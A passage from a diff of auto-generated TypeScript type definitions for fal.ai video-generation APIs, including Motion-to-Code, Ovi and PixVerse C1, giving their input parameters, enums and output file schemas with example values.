@description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiMmaudioV2 = { + /** + * @description The generated video with the lip sync. + * @example {"content_type":"application/octet-stream","file_size":1001342,"file_name":"mmaudio_input.mp4","url":"https://storage.googleapis.com/falserverless/model_tests/video_models/mmaudio_output.mp4"} + * @type object + */ + video: File72Cf353D +} + +export const inputFalAiMotionToCodeGlslAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiMotionToCodeGlslAspectRatioEnumKey = + (typeof inputFalAiMotionToCodeGlslAspectRatioEnum)[keyof typeof inputFalAiMotionToCodeGlslAspectRatioEnum] + +export type InputFalAiMotionToCodeGlsl = { + /** + * @description Times the model compares its render with the reference and fixes it. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type integer | undefined + */ + refine_rounds?: number + /** + * @description What to build, or what to change from the reference. Without a video, MiniMax H3 Max first animates it as a reference clip. + * @maxLength 4000 + * @default '' + * @example A blob squashes, hops and lands; the word LOOP pops in letter by letter. + * @type string | undefined + */ + prompt?: string + /** + * @description Loop length in seconds. Ignored with a video, which sets it. + * @minimum 1 + * @maximum 15 + * @default 6 + * @type number | undefined + */ + duration?: number + /** + * @description Soundtrack for the loop, up to 15 MB. With a prompt or an image, MiniMax H3 Max makes its clip to this sound. Without it, the reference's own sound is kept. + */ + audio_url?: string | null + /** + * @description Reference video to recreate, up to 15 s. Flat motion design works best. + */ + video_url?: string | null + /** + * @description Reference image: MiniMax H3 Max animates it, and the clip is rebuilt as code. + */ + image_url?: string | null + /** + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Stage shape. Ignored with a video or an image, which set it. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiMotionToCodeGlslAspectRatioEnumKey +} + +export type AudioFile = { + /** + * @description The number of channels in the audio + */ + channels?: number | null + /** + * @description The sample rate of the audio + */ + sample_rate?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The duration of the audio + */ + duration?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The bitrate of the audio (e.g., '192k' or 192000) + */ + bitrate?: string | number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type ImageFile = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type VideoFile580E9660 = { + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiMotionToCodeGlsl = { + /** + * @description The loop's soundtrack, cut to its length: audio_url, or the reference's sound. It is also in the preview, and the page plays it after a click. + */ + audio?: AudioFile | null + /** + * @description Seconds spent in each step. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description Loop length in seconds. + * @type number + */ + duration: number + /** + * @description Self-contained page that plays the animation: save it as an .html file and open it in a browser. + * @type string + */ + html: string + /** + * @description Generation passes run, first one included. + * @type integer + */ + rounds: number + /** + * @description Last check: reference and render side by side at the same times. + * @type object + */ + contact_sheet: ImageFile + /** + * @description The clip MiniMax H3 Max made from the prompt or image, which the code rebuilds. + */ + reference_video?: VideoFile580E9660 | null + /** + * @description The generated code: the HTML page, or the GLSL shader. + * @type string + */ + code: string + /** + * @description Preview rendered from the code, frame by frame. + * @type object + */ + video: VideoFile580E9660 +} + +export const inputFalAiMotionToCodeGsapAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiMotionToCodeGsapAspectRatioEnumKey = + (typeof inputFalAiMotionToCodeGsapAspectRatioEnum)[keyof typeof inputFalAiMotionToCodeGsapAspectRatioEnum] + +export type InputFalAiMotionToCodeGsap = { + /** + * @description Times the model compares its render with the reference and fixes it. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type integer | undefined + */ + refine_rounds?: number + /** + * @description What to build, or what to change from the reference. Without a video, MiniMax H3 Max first animates it as a reference clip. + * @maxLength 4000 + * @default '' + * @example A blob squashes, hops and lands; the word LOOP pops in letter by letter. + * @type string | undefined + */ + prompt?: string + /** + * @description Loop length in seconds. Ignored with a video, which sets it. + * @minimum 1 + * @maximum 15 + * @default 6 + * @type number | undefined + */ + duration?: number + /** + * @description Soundtrack for the loop, up to 15 MB. With a prompt or an image, MiniMax H3 Max makes its clip to this sound. Without it, the reference's own sound is kept. + */ + audio_url?: string | null + /** + * @description Reference video to recreate, up to 15 s. Flat motion design works best. + */ + video_url?: string | null + /** + * @description Reference image: MiniMax H3 Max animates it, and the clip is rebuilt as code. + */ + image_url?: string | null + /** + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Stage shape. Ignored with a video or an image, which set it. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiMotionToCodeGsapAspectRatioEnumKey +} + +export type VideoFile11A6740F = { + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiMotionToCodeGsap = { + /** + * @description The loop's soundtrack, cut to its length: audio_url, or the reference's sound. It is also in the preview, and the page plays it after a click. + */ + audio?: AudioFile | null + /** + * @description Seconds spent in each step. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description Loop length in seconds. + * @type number + */ + duration: number + /** + * @description Self-contained page that plays the animation: save it as an .html file and open it in a browser. + * @type string + */ + html: string + /** + * @description Generation passes run, first one included. + * @type integer + */ + rounds: number + /** + * @description Last check: reference and render side by side at the same times. + * @type object + */ + contact_sheet: ImageFile + /** + * @description The clip MiniMax H3 Max made from the prompt or image, which the code rebuilds. + */ + reference_video?: VideoFile11A6740F | null + /** + * @description The generated code: the HTML page, or the GLSL shader. + * @type string + */ + code: string + /** + * @description Preview rendered from the code, frame by frame. + * @type object + */ + video: VideoFile11A6740F +} + +export const inputFalAiOneToAllAnimation13BResolutionEnum = { + '480p': '480p', + '580p': '580p', + '720p': '720p', +} as const + +export type InputFalAiOneToAllAnimation13BResolutionEnumKey = + (typeof inputFalAiOneToAllAnimation13BResolutionEnum)[keyof typeof inputFalAiOneToAllAnimation13BResolutionEnum] + +export type InputFalAiOneToAllAnimation13B = { + /** + * @description The URL of the image to use as a reference for the video generation. + * @example https://v3b.fal.media/files/b/panda/-oMlZo9Yyj_Nzoza_tgds_GmLF86r5bOt50eMMKCszy_eacc949b3933443c9915a83c98fbe85e.png + * @type string + */ + image_url: string + /** + * @description The number of inference steps to use for the video generation. + * @minimum 2 + * @maximum 30 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The pose guidance scale to use for the video generation. + * @minimum 1 + * @maximum 10 + * @default 1.5 + * @type number | undefined + */ + pose_guidance_scale?: number + /** + * @description The URL of the video to use as a reference for the video generation. + * @example https://videos.pexels.com/video-files/5385885/5385885-hd_1080_1920_25fps.mp4 + * @type string + */ + video_url: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The prompt to generate the video from. + * @example A robot figure dancing + * @type string + */ + prompt: string + /** + * @description The resolution of the video to generate. + * @default '480p' + * @type string | undefined + */ + resolution?: InputFalAiOneToAllAnimation13BResolutionEnumKey + /** + * @description The image guidance scale to use for the video generation. + * @minimum 1 + * @maximum 10 + * @default 2 + * @type number | undefined + */ + image_guidance_scale?: number + /** + * @description The negative prompt to generate the video from. + * @example black background, Aerial view, aerial view, overexposed, low quality, deformation, a poor composition, bad hands, bad teeth, bad eyes, bad limbs, distortion + * @type string + */ + negative_prompt: string +} + +export type FileA45Cdd42 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiOneToAllAnimation13B = { + /** + * @description The generated video file. + * @example {"url":"https://v3b.fal.media/files/b/0a85e79d/KOuXylETzdzUzMFFWLa4h_output.mp4","file_name":"output.mp4","file_size":225893,"content_type":"application/octet-stream"} + * @type object + */ + video: FileA45Cdd42 +} + +export const inputFalAiOneToAllAnimation14BResolutionEnum = { + '480p': '480p', + '580p': '580p', + '720p': '720p', +} as const + +export type InputFalAiOneToAllAnimation14BResolutionEnumKey = + (typeof inputFalAiOneToAllAnimation14BResolutionEnum)[keyof typeof inputFalAiOneToAllAnimation14BResolutionEnum] + +export type InputFalAiOneToAllAnimation14B = { + /** + * @description The URL of the image to use as a reference for the video generation. + * @example https://v3b.fal.media/files/b/panda/-oMlZo9Yyj_Nzoza_tgds_GmLF86r5bOt50eMMKCszy_eacc949b3933443c9915a83c98fbe85e.png + * @type string + */ + image_url: string + /** + * @description The number of inference steps to use for the video generation. + * @minimum 2 + * @maximum 30 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The pose guidance scale to use for the video generation. + * @minimum 1 + * @maximum 10 + * @default 1.5 + * @type number | undefined + */ + pose_guidance_scale?: number + /** + * @description The URL of the video to use as a reference for the video generation. + * @example https://videos.pexels.com/video-files/5385885/5385885-hd_1080_1920_25fps.mp4 + * @type string + */ + video_url: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The prompt to generate the video from. + * @example A robot figure dancing + * @type string + */ + prompt: string + /** + * @description The resolution of the video to generate. + * @default '480p' + * @type string | undefined + */ + resolution?: InputFalAiOneToAllAnimation14BResolutionEnumKey + /** + * @description The image guidance scale to use for the video generation. + * @minimum 1 + * @maximum 10 + * @default 2 + * @type number | undefined + */ + image_guidance_scale?: number + /** + * @description The negative prompt to generate the video from. + * @example black background, Aerial view, aerial view, overexposed, low quality, deformation, a poor composition, bad hands, bad teeth, bad eyes, bad limbs, distortion + * @type string + */ + negative_prompt: string +} + +export type File76D1219F = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiOneToAllAnimation14B = { + /** + * @description The generated video file. + * @example {"url":"https://v3b.fal.media/files/b/0a85e79d/KOuXylETzdzUzMFFWLa4h_output.mp4","file_name":"output.mp4","file_size":225893,"content_type":"application/octet-stream"} + * @type object + */ + video: File76D1219F +} + +export const inputFalAiOviResolutionEnum = { + '512x992': '512x992', + '992x512': '992x512', + '960x512': '960x512', + '512x960': '512x960', + '720x720': '720x720', + '448x1120': '448x1120', + '1120x448': '1120x448', +} as const + +export type InputFalAiOviResolutionEnumKey = + (typeof inputFalAiOviResolutionEnum)[keyof typeof inputFalAiOviResolutionEnum] + +export type InputFalAiOvi = { + /** + * @description Negative prompt for video generation. + * @default 'jitter, bad hands, blur, distortion' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Negative prompt for audio generation. + * @default 'robotic, muffled, echo, distorted' + * @type string | undefined + */ + audio_negative_prompt?: string + /** + * @description The number of inference steps. + * @minimum 1 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The text prompt to guide video generation. + * @example A close-up of someone's face as they pet a cat, their hands stroking the soft fur in the foreground. Their affectionate expression shows as the cat purrs contentedly in their lap. They say, This little guy has been with me for eight years now. He knows exactly when I need comfort. Animals are pretty amazing that way..Affectionate voice with cat purring and gentle petting sounds + * @type string + */ + prompt: string + /** + * @description Resolution of the generated video in W:H format. One of (512x992, 992x512, 960x512, 512x960, 720x720, or 448x1120). + * @default '992x512' + * @type string | undefined + */ + resolution?: InputFalAiOviResolutionEnumKey +} + +export type File9242E34C = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiOvi = { + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_inputs/ovi_t2v_output.mp4"} + */ + video?: File9242E34C | null + /** + * @description The seed used for generation. + * @type integer + */ + seed: number +} + +export type InputFalAiOviImageToVideo = { + /** + * @description Negative prompt for video generation. + * @default 'jitter, bad hands, blur, distortion' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Negative prompt for audio generation. + * @default 'robotic, muffled, echo, distorted' + * @type string | undefined + */ + audio_negative_prompt?: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The image URL to guide video generation. + * @example https://storage.googleapis.com/falserverless/example_inputs/ovi_i2v_input.png + * @type string + */ + image_url: string + /** + * @description The text prompt to guide video generation. + * @example An intimate close-up of a European woman with long dark hair as she gently brushes her hair in a softly lit bedroom, her delicate hand moving in the foreground. She looks directly into the camera with calm, focused eyes, a faint serene smile glowing in the warm lamp light. She says, [soft whisper] I am an artificial intelligence..Soft whispering female voice, ASMR tone with gentle breaths, cozy room acoustics, subtle emphasis on "I am an artificial intelligence". + * @type string + */ + prompt: string + /** + * @description The number of inference steps. + * @minimum 1 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number +} + +export type FileD4Edd964 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiOviImageToVideo = { + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_inputs/ovi_i2v_output.mp4"} + */ + video?: FileD4Edd964 | null + /** + * @description The seed used for generation. + * @type integer + */ + seed: number +} + +export const inputFalAiPixverseC1ImageToVideoResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiPixverseC1ImageToVideoResolutionEnumKey = + (typeof inputFalAiPixverseC1ImageToVideoResolutionEnum)[keyof typeof inputFalAiPixverseC1ImageToVideoResolutionEnum] + +export type InputFalAiPixverseC1ImageToVideo = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text prompt for the video generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @example A woman warrior with her hammer walking with his glacier wolf. + * @type string + */ + prompt: string + /** + * @description The duration of the generated video in seconds (1-15) + * @minimum 1 + * @maximum 15 + * @default 5 + * @type integer | undefined + */ + duration?: number + /** + * @description URL of the image to use as the first frame + * @example https://v3.fal.media/files/zebra/qL93Je8ezvzQgDOEzTjKF_KhGKZTEebZcDw6T5rwQPK_output.png + * @type string + */ + image_url: string + /** + * @description The resolution of the generated video + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseC1ImageToVideoResolutionEnumKey + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same video every time. + * + */ + seed?: number | null + /** + * @description Enable audio generation (BGM, SFX, dialogue) + * @default false + * @type boolean | undefined + */ + generate_audio_switch?: boolean +} + +export type File3B918855 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseC1ImageToVideo = { + /** + * @description The generated video file. + * @type object + */ + video: File3B918855 +} + +export const imageReferenceTypeEnum = { + subject: 'subject', + background: 'background', +} as const + +export type ImageReferenceTypeEnumKey = + (typeof imageReferenceTypeEnum)[keyof typeof imageReferenceTypeEnum] + +export type ImageReference = { + /** + * @description A short name for this reference. Use @ref_name in the prompt to refer to this image. + * @example character + * @example dog + * @example room + * @type string + */ + ref_name: string + /** + * @description Type of reference: 'subject' for character/object references, 'background' for scene/environment references + * @default 'subject' + * @type string | undefined + */ + type?: ImageReferenceTypeEnumKey + /** + * @description URL of the reference image + * @example https://v3.fal.media/files/zebra/qL93Je8ezvzQgDOEzTjKF_KhGKZTEebZcDw6T5rwQPK_output.png + * @type string + */ + image_url: string +} + +export const inputFalAiPixverseC1ReferenceToVideoAspectRatioEnum = { + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', + '2:3': '2:3', + '3:2': '3:2', + '21:9': '21:9', +} as const + +export type InputFalAiPixverseC1ReferenceToVideoAspectRatioEnumKey = + (typeof inputFalAiPixverseC1ReferenceToVideoAspectRatioEnum)[keyof typeof inputFalAiPixverseC1ReferenceToVideoAspectRatioEnum] + +export const inputFalAiPixverseC1ReferenceToVideoResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiPixverseC1ReferenceToVideoResolutionEnumKey = + (typeof inputFalAiPixverseC1ReferenceToVideoResolutionEnum)[keyof typeof inputFalAiPixverseC1ReferenceToVideoResolutionEnum] + +export type InputFalAiPixverseC1ReferenceToVideo = { + /** + * @description The aspect ratio of the generated video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiPixverseC1ReferenceToVideoAspectRatioEnumKey + /** + * @description Enable audio generation (BGM, SFX, dialogue) + * @default false + * @type boolean | undefined + */ + generate_audio_switch?: boolean + /** + * @description List of reference images with type and name. Use @ref_name in the prompt to refer to each reference. + * @example [{"ref_name":"character","type":"subject","image_url":"https://v3.fal.media/files/zebra/qL93Je8ezvzQgDOEzTjKF_KhGKZTEebZcDw6T5rwQPK_output.png"}] + * @type array + */ + image_references: ImageReference[] + /** + * @description The prompt for the reference-to-video generation. Use @ref_name to refer to uploaded references. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @example A @character walks through a magical forest + * @type string + */ + prompt: string + /** + * @description The duration of the generated video in seconds (1-15) + * @minimum 1 + * @maximum 15 + * @default 5 + * @type integer | undefined + */ + duration?: number + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The resolution of the generated video + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseC1ReferenceToVideoResolutionEnumKey + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same video every time. + * + */ + seed?: number | null +} + +export type File43986465 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseC1ReferenceToVideo = { + /** + * @description The generated video file. + * @type object + */ + video: File43986465 +} + +export const inputFalAiPixverseC1TextToVideoAspectRatioEnum = { + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', + '2:3': '2:3', + '3:2': '3:2', + '21:9': '21:9', +} as const + +export type InputFalAiPixverseC1TextToVideoAspectRatioEnumKey = + (typeof inputFalAiPixverseC1TextToVideoAspectRatioEnum)[keyof typeof inputFalAiPixverseC1TextToVideoAspectRatioEnum] + +export const inputFalAiPixverseC1TextToVideoResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiPixverseC1TextToVideoResolutionEnumKey = + (typeof inputFalAiPixverseC1TextToVideoResolutionEnum)[keyof typeof inputFalAiPixverseC1TextToVideoResolutionEnum] + +export type InputFalAiPixverseC1TextToVideo = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text prompt for the video generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @example Epic low-cut camera capture of a girl clad in ultraviolet threads, luminous diamond skin glistening under a vast moon's radiance, hyper-detailed + * @type string + */ + prompt: string + /** + * @description The duration of the generated video in seconds (1-15) + * @minimum 1 + * @maximum 15 + * @default 5 + * @type integer | undefined + */ + duration?: number + /** + * @description The aspect ratio of the generated video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiPixverseC1TextToVideoAspectRatioEnumKey + /** + * @description The resolution of the generated video + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseC1TextToVideoResolutionEnumKey + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same video every time. + * + */ + seed?: number | null + /** + * @description Enable audio generation (BGM, SFX, dialogue) + * @default false + * @type boolean | undefined + */ + generate_audio_switch?: boolean +} + +export type File19421071 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseC1TextToVideo = { + /** + * @description The generated video file. + * @type object + */ + video: File19421071 +} + +export const inputFalAiPixverseC1TransitionAspectRatioEnum = { + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', + '2:3': '2:3', + '3:2': '3:2', + '21:9': '21:9', +} as const + +export type InputFalAiPixverseC1TransitionAspectRatioEnumKey = + (typeof inputFalAiPixverseC1TransitionAspectRatioEnum)[keyof typeof inputFalAiPixverseC1TransitionAspectRatioEnum] + +export const inputFalAiPixverseC1TransitionResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiPixverseC1TransitionResolutionEnumKey = + (typeof inputFalAiPixverseC1TransitionResolutionEnum)[keyof typeof inputFalAiPixverseC1TransitionResolutionEnum] + +export type InputFalAiPixverseC1Transition = { + /** + * @description The aspect ratio of the generated video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiPixverseC1TransitionAspectRatioEnumKey + /** + * @description URL of the image to use as the first frame + * @example https://v3.fal.media/files/zebra/owQh2DAzk8UU7J02nr5RY_Co2P4boLv6meIZ5t9gKvL_8685da151df343ab8bf82165c928e2a5.jpg + * @type string + */ + first_image_url: string + /** + * @description Enable audio generation (BGM, SFX, dialogue) + * @default false + * @type boolean | undefined + */ + generate_audio_switch?: boolean + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The prompt for the transition. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @example Scene slowly transition into cat swimming under water + * @type string + */ + prompt: string + /** + * @description The duration of the generated video in seconds (1-15) + * @minimum 1 + * @maximum 15 + * @default 5 + * @type integer | undefined + */ + duration?: number + /** + * @description URL of the image to use as the last frame + * @example https://v3.fal.media/files/kangaroo/RgedFs_WSnq5BgER7qDx1_ONrbTJ1YAGXz-9JnSsBoB_bdc8750387734bfe940319f469f7b0b2.jpg + * @type string + */ + end_image_url: string + /** + * @description The resolution of the generated video + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseC1TransitionResolutionEnumKey + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same video every time. + * + */ + seed?: number | null +} + +export type FileF1005D15 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseC1Transition = { + /** + * @description The generated video file. + * @type object + */ + video: FileF1005D15 +} + +export const inputFalAiPixverseExtendStyle = { + anime: 'anime', + '3d_animation': '3d_animation', + clay: 'clay', + comic: 'comic', + cyberpunk: 'cyberpunk', +} as const + +export type InputFalAiPixverseExtendStyleKey = + (typeof inputFalAiPixverseExtendStyle)[keyof typeof inputFalAiPixverseExtendStyle] + +export const inputFalAiPixverseExtendDurationEnum = { + '5': '5', + '8': '8', +} as const + +export type InputFalAiPixverseExtendDurationEnumKey = + (typeof inputFalAiPixverseExtendDurationEnum)[keyof typeof inputFalAiPixverseExtendDurationEnum] + +export const inputFalAiPixverseExtendModelEnum = { + 'v3.5': 'v3.5', + v4: 'v4', + 'v4.5': 'v4.5', + v5: 'v5', + 'v5.5': 'v5.5', + 'v5.6': 'v5.6', + v6: 'v6', +} as const + +export type InputFalAiPixverseExtendModelEnumKey = + (typeof inputFalAiPixverseExtendModelEnum)[keyof typeof inputFalAiPixverseExtendModelEnum] + +export const inputFalAiPixverseExtendResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiPixverseExtendResolutionEnumKey = + (typeof inputFalAiPixverseExtendResolutionEnum)[keyof typeof inputFalAiPixverseExtendResolutionEnum] + +export type InputFalAiPixverseExtend = { + /** + * @description URL of the input video to extend + * @example https://v3.fal.media/files/rabbit/88-jI3VWXU4Q8kSNrWo3c_output.mp4 + * @type string + */ + video_url: string + /** + * @description Prompt describing how to extend the video + * @example A kid is talking into camera + * @type string + */ + prompt: string + /** + * @description The style of the extended video + */ + style?: InputFalAiPixverseExtendStyleKey | null + /** + * @description Random seed for generation + */ + seed?: number | null + /** + * @description Negative prompt to be used for the generation + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The duration of the generated video in seconds. 1080p videos are limited to 5 seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiPixverseExtendDurationEnumKey + /** + * @description The model version to use for generation + * @default 'v4.5' + * @type string | undefined + */ + model?: InputFalAiPixverseExtendModelEnumKey + /** + * @description The resolution of the generated video + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseExtendResolutionEnumKey + /** + * @description Enable audio generation (BGM, SFX, dialogue). Supported in v5.6+ models. + * @default false + * @type boolean | undefined + */ + generate_audio_switch?: boolean +} + +export type File185186B3 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseExtend = { + /** + * @description The extended video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":1163040,"url":"https://v3.fal.media/files/rabbit/88-jI3VWXU4Q8kSNrWo3c_output.mp4"} + * @type object + */ + video: File185186B3 +} + +export const inputFalAiPixverseExtendFastStyle = { + anime: 'anime', + '3d_animation': '3d_animation', + clay: 'clay', + comic: 'comic', + cyberpunk: 'cyberpunk', +} as const + +export type InputFalAiPixverseExtendFastStyleKey = + (typeof inputFalAiPixverseExtendFastStyle)[keyof typeof inputFalAiPixverseExtendFastStyle] + +export const inputFalAiPixverseExtendFastModelEnum = { + 'v3.5': 'v3.5', + v4: 'v4', + 